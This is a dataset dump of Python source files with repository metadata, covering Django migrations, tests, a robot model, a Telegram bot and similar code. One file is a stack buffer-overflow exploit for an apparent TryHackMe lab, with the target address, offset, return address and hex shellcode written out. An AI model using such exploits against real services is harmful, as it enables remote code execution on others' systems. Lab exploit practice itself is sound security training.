hexsha stringlengths 40 40 | size int64 5 2.06M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 3 248 | max_stars_repo_name stringlengths 5 125 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 248 | max_issues_repo_name stringlengths 5 125 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 248 | max_forks_repo_name stringlengths 5 125 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 5 2.06M | avg_line_length float64 1 1.02M | max_line_length int64 3 1.03M | alphanum_fraction float64 0 1 | count_classes int64 0 1.6M | score_classes float64 0 1 | count_generators int64 0 651k | score_generators float64 0 1 | count_decorators int64 0 990k | score_decorators float64 0 1 | count_async_functions int64 0 235k | score_async_functions float64 0 1 | count_documentation int64 0 1.04M | score_documentation float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
af16e083f971bbc4e21d58523158391bc67070fb | 7,669 | py | Python | pwbs/tests/TTTTTT_test_6.py | paip-web/pwbs | 21622712b6975ab68b7f5d7c1a944fa826ea87ba | [
"MIT"
] | 2 | 2020-01-07T16:07:56.000Z | 2020-02-15T05:57:58.000Z | pwbs/tests/TTTTTT_test_6.py | paip-web/pwbs | 21622712b6975ab68b7f5d7c1a944fa826ea87ba | [
"MIT"
] | 3 | 2020-07-03T21:28:02.000Z | 2021-06-25T15:29:18.000Z | pwbs/tests/TTTTTT_test_6.py | paip-web/pwbs | 21622712b6975ab68b7f5d7c1a944fa826ea87ba | [
"MIT"
] | 1 | 2020-02-15T06:00:08.000Z | 2020-02-15T06:00:08.000Z | """
This for future test of Event Manager.
For now it's just contain snippets for it.
"""
test(PWBS_EM)
def test(PWBS_EM: PWBSEventManager):
funct = lambda event_name, *args, **kwargs: print("{0}: {1} | {2}".format(event_name, args, kwargs))
# PWBS Event Called in pwbs.__init__.main() when PWBS class is initi... | 78.255102 | 144 | 0.784978 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5,899 | 0.769201 |
af1703462ef77f78c9cf88e812154fcfc28474a9 | 2,318 | py | Python | postgres_audit_triggers/operations.py | carta/postgres_audit_triggers | fece63c5ad2924ff5e2aeb38d7bbd5bee6e6547c | [
"MIT"
] | 23 | 2018-03-26T11:18:03.000Z | 2020-12-28T05:11:04.000Z | postgres_audit_triggers/operations.py | carta/postgres_audit_triggers | fece63c5ad2924ff5e2aeb38d7bbd5bee6e6547c | [
"MIT"
] | 1 | 2019-02-13T23:58:53.000Z | 2020-07-01T18:16:13.000Z | postgres_audit_triggers/operations.py | carta/postgres_audit_triggers | fece63c5ad2924ff5e2aeb38d7bbd5bee6e6547c | [
"MIT"
] | 3 | 2019-03-26T15:50:38.000Z | 2021-03-05T00:27:53.000Z | from django.db.migrations.operations.base import Operation
from django.utils.functional import cached_property
__all__ = (
'AddAuditTrigger',
'RemoveAuditTrigger',
)
class AddAuditTrigger(Operation):
reduces_to_sql = True
reversible = True
option_name = 'audit_trigger'
enabled = True
de... | 30.103896 | 75 | 0.654875 | 2,136 | 0.921484 | 0 | 0 | 81 | 0.034944 | 0 | 0 | 295 | 0.127265 |
af18b963242e252b6522312070b2c7035181de3d | 3,781 | py | Python | aether-ui/aether/ui/api/migrations/0005_project.py | eHealthAfrica/aether | 6845d7eeebd4ae57332f73d74db3617e00032204 | [
"Apache-2.0"
] | 14 | 2018-08-09T20:57:16.000Z | 2020-10-11T12:22:18.000Z | aether-ui/aether/ui/api/migrations/0005_project.py | eHealthAfrica/aether | 6845d7eeebd4ae57332f73d74db3617e00032204 | [
"Apache-2.0"
] | 148 | 2018-07-24T10:52:29.000Z | 2022-02-10T09:06:44.000Z | aether-ui/aether/ui/api/migrations/0005_project.py | eHealthAfrica/aether | 6845d7eeebd4ae57332f73d74db3617e00032204 | [
"Apache-2.0"
] | 6 | 2018-07-25T13:33:10.000Z | 2019-09-23T03:02:09.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11.20 on 2019-02-21 09:42
from __future__ import unicode_literals
from django.db import migrations, models
from django.conf import settings
import django.db.models.deletion
import django.utils.timezone
import model_utils.fields
import uuid
def migrate_create_projects(a... | 41.097826 | 196 | 0.638191 | 2,415 | 0.63872 | 0 | 0 | 0 | 0 | 0 | 0 | 1,017 | 0.268976 |
af190a09ca44bce44b5b0163ba1e2eceb805790a | 18,922 | py | Python | tests/unit/test_infra_communication.py | gauthier-emse/pyDcop | a51cc3f7d8ef9ee1f863beeca4ad60490862d2ed | [
"BSD-3-Clause"
] | 28 | 2018-05-18T10:25:58.000Z | 2022-03-05T16:24:15.000Z | tests/unit/test_infra_communication.py | gauthier-emse/pyDcop | a51cc3f7d8ef9ee1f863beeca4ad60490862d2ed | [
"BSD-3-Clause"
] | 19 | 2018-09-21T21:50:15.000Z | 2022-02-22T20:23:32.000Z | tests/unit/test_infra_communication.py | gauthier-emse/pyDcop | a51cc3f7d8ef9ee1f863beeca4ad60490862d2ed | [
"BSD-3-Clause"
] | 17 | 2018-05-29T19:54:07.000Z | 2022-02-22T20:14:46.000Z | # BSD-3-Clause License
#
# Copyright 2017 Orange
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the followi... | 37.395257 | 80 | 0.63228 | 15,846 | 0.837438 | 616 | 0.032555 | 9,218 | 0.487158 | 0 | 0 | 4,092 | 0.216256 |
af19bd3d785d56642d7b3f0a837d7edbf7bf7261 | 1,975 | py | Python | Stack-Based-BOF/THM-BOF-1/exploit.py | Rob-VanDusen/ctf-notes | c88dc7597bca1bcda88d5ef07f38dcb50b89be59 | [
"CC0-1.0"
] | null | null | null | Stack-Based-BOF/THM-BOF-1/exploit.py | Rob-VanDusen/ctf-notes | c88dc7597bca1bcda88d5ef07f38dcb50b89be59 | [
"CC0-1.0"
] | null | null | null | Stack-Based-BOF/THM-BOF-1/exploit.py | Rob-VanDusen/ctf-notes | c88dc7597bca1bcda88d5ef07f38dcb50b89be59 | [
"CC0-1.0"
] | null | null | null | #!/usr/bin/env python3
import socket
ip = "10.10.16.223"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "\xaf\x11\x50\x62" # 625011AF
padding = "\x90" * 16
payload = ("\xbe\x13\xbf\x94\xb6\xdb\xd7\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x52\x83\xe8\xfc\x31\x70\x0e\x03\x63\xb1\x76\x43\x7f\x... | 39.5 | 73 | 0.696709 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,605 | 0.812658 |
af1a49eb92cc6d5d66baa56866caa452bb8f70bb | 1,116 | py | Python | classification/migrations/0055_new_ekey_lrg_identifier.py | SACGF/variantgrid | 515195e2f03a0da3a3e5f2919d8e0431babfd9c9 | [
"RSA-MD"
] | 5 | 2021-01-14T03:34:42.000Z | 2022-03-07T15:34:18.000Z | classification/migrations/0055_new_ekey_lrg_identifier.py | SACGF/variantgrid | 515195e2f03a0da3a3e5f2919d8e0431babfd9c9 | [
"RSA-MD"
] | 551 | 2020-10-19T00:02:38.000Z | 2022-03-30T02:18:22.000Z | classification/migrations/0055_new_ekey_lrg_identifier.py | SACGF/variantgrid | 515195e2f03a0da3a3e5f2919d8e0431babfd9c9 | [
"RSA-MD"
] | null | null | null | # Generated by Django 3.2.4 on 2021-09-08 04:50
from django.db import migrations
def _insert_lrg_id_key(apps, schema_editor):
""" This can be deleted if there is a blat_keys migration after it """
EvidenceKey = apps.get_model("classification", "EvidenceKey")
EvidenceKey.objects.get_or_create(
ke... | 33.818182 | 234 | 0.646953 | 207 | 0.185484 | 0 | 0 | 0 | 0 | 0 | 0 | 608 | 0.544803 |
af1cd328ee95b3ce28045b665a6e2190194f9a9c | 2,849 | py | Python | eoxserver/services/opensearch/extensions/cql.py | kalxas/eoxserver | 8073447d926f3833923bde7b7061e8a1658dee06 | [
"OML"
] | 25 | 2015-08-10T19:34:34.000Z | 2021-02-05T08:28:01.000Z | eoxserver/services/opensearch/extensions/cql.py | kalxas/eoxserver | 8073447d926f3833923bde7b7061e8a1658dee06 | [
"OML"
] | 153 | 2015-01-20T08:35:49.000Z | 2022-03-16T11:00:56.000Z | eoxserver/services/opensearch/extensions/cql.py | kalxas/eoxserver | 8073447d926f3833923bde7b7061e8a1658dee06 | [
"OML"
] | 10 | 2015-01-23T15:48:30.000Z | 2021-01-21T15:41:18.000Z | # ------------------------------------------------------------------------------
#
# Project: EOxServer <http://eoxserver.org>
# Authors: Fabian Schindler <fabian.schindler@eox.at>
#
# ------------------------------------------------------------------------------
# Copyright (C) 2017 EOX IT Services GmbH
#
# Permission... | 39.569444 | 80 | 0.614953 | 1,249 | 0.438399 | 0 | 0 | 0 | 0 | 0 | 0 | 1,777 | 0.623728 |
af1d6a6d06805cdde1b38ccbd57154e51315542b | 31,786 | py | Python | examples/quadruped3D.py | alknemeyer/physical_education | 7bcad4111bc153a0c9c080f11a43295bd1d8c425 | [
"MIT"
] | 5 | 2020-09-27T14:00:12.000Z | 2022-01-31T09:06:37.000Z | examples/quadruped3D.py | alknemeyer/physical_education | 7bcad4111bc153a0c9c080f11a43295bd1d8c425 | [
"MIT"
] | 8 | 2020-09-27T15:02:28.000Z | 2022-03-28T13:51:38.000Z | examples/quadruped3D.py | alknemeyer/physical_education | 7bcad4111bc153a0c9c080f11a43295bd1d8c425 | [
"MIT"
] | 2 | 2020-09-27T14:01:39.000Z | 2022-01-21T09:47:54.000Z | from typing import Any, Dict, Iterable, List, Optional, Tuple, Callable
from math import pi as π
from sympy import Matrix as Mat
from numpy import ndarray
from physical_education.links import Link3D, constrain_rel_angle
from physical_education.system import System3D
from physical_education.foot import add_foot, feet, ... | 40.337563 | 146 | 0.541622 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11,435 | 0.358993 |
af1dd273f6773d5545946eaa77b49cdb5d3fee31 | 982 | py | Python | data_visualization/data_visualization.py | or-tal-robotics/mcl_pi | 02d9b3bdd68c54afde36da320e1ce4bdc8d057d8 | [
"Apache-2.0"
] | 3 | 2019-05-07T13:48:45.000Z | 2020-09-02T15:10:35.000Z | data_visualization/data_visualization.py | or-tal-robotics/MCL_PI | 02d9b3bdd68c54afde36da320e1ce4bdc8d057d8 | [
"Apache-2.0"
] | null | null | null | data_visualization/data_visualization.py | or-tal-robotics/MCL_PI | 02d9b3bdd68c54afde36da320e1ce4bdc8d057d8 | [
"Apache-2.0"
] | 2 | 2021-01-28T23:34:21.000Z | 2021-06-29T05:33:35.000Z | #!/usr/bin/env python
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
def main():
data_komodo = pd.read_csv('komodo.csv',sep=',')
data_armadillo = pd.read_csv('armadillo.csv',sep=',')
data_visualization(data_komodo)
data_visualization(data_armadillo)
def data_visualizatio... | 25.179487 | 88 | 0.588595 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 81 | 0.082485 |
af1ff2337c60e542c9bcc64ce74be8ee36948153 | 1,822 | py | Python | pyasice/tests/test_tsa.py | vgaicuks/pyasice | 4e955a4aedc319199dfd367d1d092ba99f4fe1c2 | [
"0BSD"
] | 6 | 2021-02-04T13:15:13.000Z | 2022-02-04T17:21:40.000Z | pyasice/tests/test_tsa.py | vgaicuks/pyasice | 4e955a4aedc319199dfd367d1d092ba99f4fe1c2 | [
"0BSD"
] | 5 | 2020-10-26T14:43:34.000Z | 2021-12-27T14:40:10.000Z | pyasice/tests/test_tsa.py | thorgate/pyasice | 4423b7251392c7bf6bc5d14800b9b396b8eb2222 | [
"0BSD"
] | 1 | 2021-07-21T15:36:31.000Z | 2021-07-21T15:36:31.000Z | import hashlib
from unittest.mock import Mock, patch
from asn1crypto.cms import ContentInfo
from asn1crypto.tsp import PKIStatus, PKIStatusInfo, TimeStampResp
from pyasice.tsa import requests, TSA
class MockResponse(Mock):
status_code = 200
headers = {"Content-Type": TSA.RESPONSE_CONTENT_TYPE}
def test_ts... | 31.964912 | 81 | 0.63337 | 105 | 0.057629 | 0 | 0 | 0 | 0 | 0 | 0 | 256 | 0.140505 |
af2025817a250b509240a41f88f09a6209dab649 | 317 | py | Python | 0-python-tutorial/16-forLoops09.py | luis2ra/py3-00-w3schools | 6bb851837f8ef9520491d13fa2c909047c9b18cf | [
"MIT"
] | null | null | null | 0-python-tutorial/16-forLoops09.py | luis2ra/py3-00-w3schools | 6bb851837f8ef9520491d13fa2c909047c9b18cf | [
"MIT"
] | null | null | null | 0-python-tutorial/16-forLoops09.py | luis2ra/py3-00-w3schools | 6bb851837f8ef9520491d13fa2c909047c9b18cf | [
"MIT"
] | null | null | null | # Demo Python For Loops - Else in For Loop
'''
Else in For Loop
The else keyword in a for loop specifies a block of code to be executed when the loop is finished:
'''
# Print all numbers from 0 to 5, and print a message when the loop has ended:
for x in range(6):
print(x)
else:
print("Finally finished!") | 24.384615 | 98 | 0.700315 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 263 | 0.829653 |
af223891e643b0660e741c07d3a8f87905708723 | 1,341 | py | Python | tests/mazehat/test_view_to_sensehat.py | AndrewWasHere/aMAZEing_SenseHat | 03f0c15f99b6d6c56c2baad4e558799e91fc194a | [
"BSD-3-Clause"
] | null | null | null | tests/mazehat/test_view_to_sensehat.py | AndrewWasHere/aMAZEing_SenseHat | 03f0c15f99b6d6c56c2baad4e558799e91fc194a | [
"BSD-3-Clause"
] | null | null | null | tests/mazehat/test_view_to_sensehat.py | AndrewWasHere/aMAZEing_SenseHat | 03f0c15f99b6d6c56c2baad4e558799e91fc194a | [
"BSD-3-Clause"
] | null | null | null | """
Copyright 2017, Andrew Lin
All rights reserved.
This software is licensed under the BSD 3-Clause License.
See LICENSE.txt at the root of the project or
https://opensource.org/licenses/BSD-3-Clause
"""
from maze.maze import Maze, Coordinates
from maze.mazehat import MazeHat
def test_view_to_sensehat():
mh = M... | 34.384615 | 90 | 0.59135 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 268 | 0.199851 |
af2278683fee1298b0caf86e836a20709cd9fe8a | 1,619 | py | Python | deploy/gpu/aws/launch_aws.py | ysglh/DeepVideoAnalytics | ce807cc1595c813250bb4bc7dfc6fb76cd644335 | [
"MIT",
"Apache-2.0",
"BSD-3-Clause"
] | 3 | 2019-03-05T00:46:56.000Z | 2021-11-26T10:20:40.000Z | deploy/gpu/aws/launch_aws.py | jiangxu87/DeepVideoAnalytics | e401b3273782409b2604657514bec293d6aa75b0 | [
"MIT",
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | deploy/gpu/aws/launch_aws.py | jiangxu87/DeepVideoAnalytics | e401b3273782409b2604657514bec293d6aa75b0 | [
"MIT",
"Apache-2.0",
"BSD-3-Clause"
] | 4 | 2021-09-22T07:47:27.000Z | 2022-01-23T14:16:08.000Z | #!/usr/bin/env python
import logging, boto3, subprocess
logging.basicConfig(level=logging.INFO,
format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',
datefmt='%m-%d %H:%M',
filename='../../logs/cloud.log',
filemode='a')
from config... | 52.225806 | 189 | 0.546016 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 393 | 0.242742 |
af235ba38a9be96557da2c0dd0d6fdf8cdff77b7 | 604 | py | Python | Arduino/DFRobot_BMP388-master/DFRobot_BMP388-master/raspbarry/example/I2CReadTemperature/I2CReadTemperature.py | giglioq/Ocean-Buoy | c30151b7af974733260f57d1d3eefe0a1d63be90 | [
"MIT"
] | 2 | 2021-06-18T09:34:05.000Z | 2021-06-18T09:52:18.000Z | Arduino/DFRobot_BMP388-master/DFRobot_BMP388-master/raspbarry/example/I2CReadTemperature/I2CReadTemperature.py | giglioq/Ocean-Buoy | c30151b7af974733260f57d1d3eefe0a1d63be90 | [
"MIT"
] | null | null | null | Arduino/DFRobot_BMP388-master/DFRobot_BMP388-master/raspbarry/example/I2CReadTemperature/I2CReadTemperature.py | giglioq/Ocean-Buoy | c30151b7af974733260f57d1d3eefe0a1d63be90 | [
"MIT"
] | null | null | null | # Connect bmp388 and esp32 via I2C.
#
# Warning:
# This demo only supports python3.
# Run this demo : python3 I2CreadTemperature.py
#
# connect:
# raspberry bmp388
# 3.3v(1) VCC
# GND(6) GND
# SCL(5) SCL
# SDA(3) SDA
# BMP388_I2C_ADDR = 0x76: pin SDO is low
# BMP38... | 22.37037 | 49 | 0.652318 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 441 | 0.730132 |
af24b85975ed6fa9fb7dc53d770b3f47d5edbcbc | 747 | py | Python | shadowsocksr_cli/setting_utils.py | fanlix/ssr-command-client | 3d6884a2c0f360d47825a500942a8d4209705972 | [
"MIT"
] | 592 | 2020-02-27T16:08:16.000Z | 2022-03-31T12:14:55.000Z | shadowsocksr_cli/setting_utils.py | huzhuangwu/ssr-command-client | 5a47a4fe1e52e28f8ab7e219d7708992f8411c9c | [
"MIT"
] | 57 | 2020-03-04T14:36:03.000Z | 2022-03-27T09:32:30.000Z | shadowsocksr_cli/setting_utils.py | huzhuangwu/ssr-command-client | 5a47a4fe1e52e28f8ab7e219d7708992f8411c9c | [
"MIT"
] | 179 | 2020-03-05T10:52:16.000Z | 2022-03-30T13:06:12.000Z | """
@author: tyrantlucifer
@contact: tyrantlucifer@gmail.com
@blog: https://tyrantlucifer.com
@file: setting_utils.py
@time: 2021/2/18 22:42
@desc:
"""
from shadowsocksr_cli.logger import *
class Setting(object):
"""配置项工具类
提供从本地配置文件中读取对应参数的功能
属性:
config: 配置文件对象
"""
c... | 20.189189 | 58 | 0.621151 | 604 | 0.742927 | 0 | 0 | 289 | 0.355474 | 0 | 0 | 326 | 0.400984 |
af25fd66be9e5c7407f8446bd876b6900df66a06 | 2,037 | py | Python | conanfile_installer.py | madebr/conan-vulkan_lunarg | d805ad7c8628587033140dd8bf458c798f355165 | [
"MIT"
] | 4 | 2019-06-08T23:54:02.000Z | 2020-11-10T20:57:54.000Z | conanfile_installer.py | madebr/conan-lunarg_vulkan_sdk | d805ad7c8628587033140dd8bf458c798f355165 | [
"MIT"
] | 1 | 2019-08-16T13:27:59.000Z | 2019-08-16T13:27:59.000Z | conanfile_installer.py | madebr/conan-lunarg_vulkan_sdk | d805ad7c8628587033140dd8bf458c798f355165 | [
"MIT"
] | 2 | 2019-07-30T20:52:50.000Z | 2020-06-26T11:00:52.000Z | # -*- coding: utf-8 -*-
import os
from conanfile_base import ConanFileBase
class ConanFileInstaller(ConanFileBase):
name = "vulkan_lunarg_installer"
exports = ConanFileBase.exports + ["conanfile_base.py"]
settings = "os_build", "arch_build"
_is_installer = True
def package(self):
if sel... | 46.295455 | 95 | 0.63623 | 1,958 | 0.961217 | 0 | 0 | 0 | 0 | 0 | 0 | 324 | 0.159057 |
af2638ff33d3fba5e4671ad6ba6d98342710dd02 | 91 | py | Python | models/retinanet/__init__.py | lihaojia24/pytorch-dt | 0a8bda73d2055e960ac4840c651b5dff61bc4f5f | [
"MIT"
] | null | null | null | models/retinanet/__init__.py | lihaojia24/pytorch-dt | 0a8bda73d2055e960ac4840c651b5dff61bc4f5f | [
"MIT"
] | null | null | null | models/retinanet/__init__.py | lihaojia24/pytorch-dt | 0a8bda73d2055e960ac4840c651b5dff61bc4f5f | [
"MIT"
] | null | null | null | from .fpn import FPN50
from .net import RetinaNet
from .box_coder import RetinaBoxCoder
| 22.75 | 38 | 0.802198 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
af26de8caba6f5f8de41aa4611f62c733084b68c | 285 | py | Python | function/deco.py | git-ning/core-python-programming | 907ad7071c08086636134fde97f432037f1b824b | [
"Apache-2.0"
] | null | null | null | function/deco.py | git-ning/core-python-programming | 907ad7071c08086636134fde97f432037f1b824b | [
"Apache-2.0"
] | null | null | null | function/deco.py | git-ning/core-python-programming | 907ad7071c08086636134fde97f432037f1b824b | [
"Apache-2.0"
] | null | null | null | #! /usr/bin python
from time import ctime, sleep
def tsfunc (func):
def wrappedFunc():
print '[%s] %s() called' % (ctime(), func.__name__)
return func()
return wrappedFunc
@tsfunc
def foo():
pass
foo()
sleep(4)
for i in range(2):
sleep(1)
foo() | 14.25 | 59 | 0.582456 | 0 | 0 | 0 | 0 | 27 | 0.094737 | 0 | 0 | 36 | 0.126316 |
af26f7f77af7f12e0aa08bff53add63e6fd4a8b4 | 10,384 | py | Python | torch_geometric/nn/models/gnn_explainer.py | NucciTheBoss/pytorch_geometric | e220a2c08fa1b2f1672d616c22eac2a67b5c8967 | [
"MIT"
] | 2,350 | 2021-09-12T08:32:50.000Z | 2022-03-31T18:09:36.000Z | torch_geometric/nn/models/gnn_explainer.py | NucciTheBoss/pytorch_geometric | e220a2c08fa1b2f1672d616c22eac2a67b5c8967 | [
"MIT"
] | 588 | 2021-09-12T08:49:08.000Z | 2022-03-31T21:02:13.000Z | torch_geometric/nn/models/gnn_explainer.py | NucciTheBoss/pytorch_geometric | e220a2c08fa1b2f1672d616c22eac2a67b5c8967 | [
"MIT"
] | 505 | 2021-09-13T13:13:32.000Z | 2022-03-31T15:54:00.000Z | from math import sqrt
from typing import Optional
import torch
from tqdm import tqdm
from torch_geometric.nn.models.explainer import (
Explainer,
clear_masks,
set_masks,
)
EPS = 1e-15
class GNNExplainer(Explainer):
r"""The GNN-Explainer model from the `"GNNExplainer: Generating
Explanations for... | 39.037594 | 79 | 0.600443 | 10,184 | 0.980551 | 0 | 0 | 0 | 0 | 0 | 0 | 3,886 | 0.374158 |
af277517a9ae94e0e93ae316044261745639cbc5 | 381 | py | Python | australia.py/real para dolar.py | Godofcoffe/Australia | 9d33e5f96dac99e670887d51411476a1220e43af | [
"MIT"
] | null | null | null | australia.py/real para dolar.py | Godofcoffe/Australia | 9d33e5f96dac99e670887d51411476a1220e43af | [
"MIT"
] | null | null | null | australia.py/real para dolar.py | Godofcoffe/Australia | 9d33e5f96dac99e670887d51411476a1220e43af | [
"MIT"
] | null | null | null | try:
real = float(input('R$:'))
except ValueError:
print(f'Digite uma quantia valida.')
real = float(input('R$:'))
while len(str(real)) > 5:
print('Quantia não reconhecida, digite novamente com "." para separar os centavos')
real = float(input('R$:'))
print(f'Voce pode comprar {real/5.55:.2f} dol... | 29.307692 | 88 | 0.650919 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 212 | 0.554974 |
af2a14c5a1ecce93ffbb2b29cf3a4a7b86e5ec05 | 6,482 | py | Python | urlazy.py | i-trofimtschuk/urlazy | bdd6b3fd817f49ec35f590a7b01bb93ce290019a | [
"Unlicense"
] | 1 | 2021-02-02T13:33:46.000Z | 2021-02-02T13:33:46.000Z | urlazy.py | i-trofimtschuk/urlazy | bdd6b3fd817f49ec35f590a7b01bb93ce290019a | [
"Unlicense"
] | null | null | null | urlazy.py | i-trofimtschuk/urlazy | bdd6b3fd817f49ec35f590a7b01bb93ce290019a | [
"Unlicense"
] | null | null | null | from __future__ import annotations
from dataclasses import dataclass, field
from typing import List, Tuple, Union
from urllib.parse import ParseResult, urlencode
__version__ = '0.0.1.dev'
Query = List[Tuple[str, str]]
Path = List[str]
@dataclass()
class URL:
"""Build URLs incrementally
# one way
>>> u... | 31.619512 | 227 | 0.568343 | 6,123 | 0.944616 | 0 | 0 | 6,136 | 0.946621 | 0 | 0 | 2,739 | 0.422555 |
af2bf330f5c58cef255d60fd7059e9b558223019 | 552 | py | Python | services/web/freq_demo/admin.py | mnesvold/freq | 27fb15a825e44458c776f4135abf516e751b3fb8 | [
"MIT"
] | null | null | null | services/web/freq_demo/admin.py | mnesvold/freq | 27fb15a825e44458c776f4135abf516e751b3fb8 | [
"MIT"
] | null | null | null | services/web/freq_demo/admin.py | mnesvold/freq | 27fb15a825e44458c776f4135abf516e751b3fb8 | [
"MIT"
] | null | null | null | from django.contrib import admin
from django.contrib.auth.forms import AuthenticationForm
def customize_admin():
admin.site.site_header = 'Feature Request Tracker'
admin.site.site_title = 'Freq'
admin.site.index_title = 'Track Feature Requests with Freq'
admin.site.site_url = None
# allow non-staf... | 32.470588 | 63 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 143 | 0.259058 |
af2ded2bcaaf00693925512eeea11c00ded8df3d | 3,842 | py | Python | TelegramBot/TelegramBot.py | Henrik168/TelegramBot | 6b11fc47218d616f1a4acfe7ac6494cb802491b9 | [
"MIT"
] | null | null | null | TelegramBot/TelegramBot.py | Henrik168/TelegramBot | 6b11fc47218d616f1a4acfe7ac6494cb802491b9 | [
"MIT"
] | null | null | null | TelegramBot/TelegramBot.py | Henrik168/TelegramBot | 6b11fc47218d616f1a4acfe7ac6494cb802491b9 | [
"MIT"
] | null | null | null | import logging
from dataclasses import dataclass
import TelegramBot.lib_requests as lib_requests
import CustomLogger
@dataclass
class MessageData:
last_message: str
chatroom_id: str
sender_id: str
sender_name: str
@property
def command(self):
if not self.last_message[:1] == "/":
... | 35.574074 | 110 | 0.60151 | 3,703 | 0.963821 | 0 | 0 | 443 | 0.115305 | 0 | 0 | 1,108 | 0.288391 |
af2f99ce0b83f78345650ccae1cccf6756b809c0 | 555 | py | Python | test.py | BLovegrove/CPR-Tools | 0dda4409410c5b2c47a913ac611e53870ef33cf7 | [
"Apache-2.0"
] | 2 | 2022-01-30T07:29:04.000Z | 2022-01-31T02:42:37.000Z | test.py | BLovegrove/cpr-tools | 0dda4409410c5b2c47a913ac611e53870ef33cf7 | [
"Apache-2.0"
] | 1 | 2022-02-13T21:46:44.000Z | 2022-02-14T20:38:31.000Z | test.py | BLovegrove/cpr-tools | 0dda4409410c5b2c47a913ac611e53870ef33cf7 | [
"Apache-2.0"
] | null | null | null | import pyautogui as pgui
pgui.PAUSE = 0
def apply_sauce():
sauce_pos = (365, 548)
pizza_pos = (968, 638)
pgui.moveTo(sauce_pos[0], sauce_pos[1])
# pgui.mouseDown()
print("mouse down")
pgui.moveTo(pizza_pos[0], pizza_pos[1])
speed = 0.11
drift = 50
for i ... | 20.555556 | 74 | 0.565766 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 56 | 0.100901 |
af2fe4de9eede3a49c06c050ed3b255d1c2f19b7 | 2,275 | py | Python | Oski/Notifier.py | mbanderson/Oski | beb68ee5ba4af23d726345d5f726a52d5adfae73 | [
"MIT"
] | null | null | null | Oski/Notifier.py | mbanderson/Oski | beb68ee5ba4af23d726345d5f726a52d5adfae73 | [
"MIT"
] | null | null | null | Oski/Notifier.py | mbanderson/Oski | beb68ee5ba4af23d726345d5f726a52d5adfae73 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""Notifies subscribers of new articles."""
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
class Email:
"""Formats email content as a MIME message."""
def __init__(self, sender, receiver, subject, content, use_html=False):
self... | 27.409639 | 75 | 0.607473 | 2,037 | 0.895385 | 0 | 0 | 0 | 0 | 0 | 0 | 398 | 0.174945 |
af304f834ba45b345b4105da4802d1c8a9c5c35b | 296 | py | Python | project/common/regular.py | mizxc/kispower | 38d88c4c5a983a90009cb8c7012cb4295b1aec06 | [
"MIT"
] | 12 | 2020-03-12T08:13:52.000Z | 2022-01-19T05:27:35.000Z | project/common/regular.py | kqqian/kispower | 38d88c4c5a983a90009cb8c7012cb4295b1aec06 | [
"MIT"
] | 4 | 2020-07-18T05:07:52.000Z | 2022-01-13T02:21:58.000Z | project/common/regular.py | kqqian/kispower | 38d88c4c5a983a90009cb8c7012cb4295b1aec06 | [
"MIT"
] | 3 | 2020-04-30T02:49:25.000Z | 2022-01-19T05:27:38.000Z | # -*- coding: utf-8 -*-
# @Time : 2019-12-22
# @Author : mizxc
# @Email : xiangxianjiao@163.com
import re
def reEmail(str):
return re.match(r'^[0-9a-zA-Z_]{0,19}@[0-9a-zA-Z]{1,13}\.[com,cn,net]{1,3}$', str)
if __name__ == '__main__':
print (reEmail(''))
print (len('12222')) | 21.142857 | 86 | 0.564189 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 177 | 0.597973 |
af3189d1de387336103e54ce753d23af15e912bb | 2,615 | py | Python | tests/test_markers.py | opoplawski/pytest-mpi | 9ad369af744a47cedf5025245f051e793703c748 | [
"BSD-3-Clause"
] | 9 | 2019-07-12T11:31:29.000Z | 2022-03-11T19:31:17.000Z | tests/test_markers.py | opoplawski/pytest-mpi | 9ad369af744a47cedf5025245f051e793703c748 | [
"BSD-3-Clause"
] | 38 | 2019-12-18T05:08:39.000Z | 2022-03-25T02:45:00.000Z | tests/test_markers.py | opoplawski/pytest-mpi | 9ad369af744a47cedf5025245f051e793703c748 | [
"BSD-3-Clause"
] | 6 | 2020-05-10T23:37:19.000Z | 2022-03-21T13:34:22.000Z | from pytest_mpi._helpers import _fix_plural
MPI_TEST_CODE = """
import pytest
@pytest.mark.mpi
def test_size():
from mpi4py import MPI
comm = MPI.COMM_WORLD
assert comm.size > 0
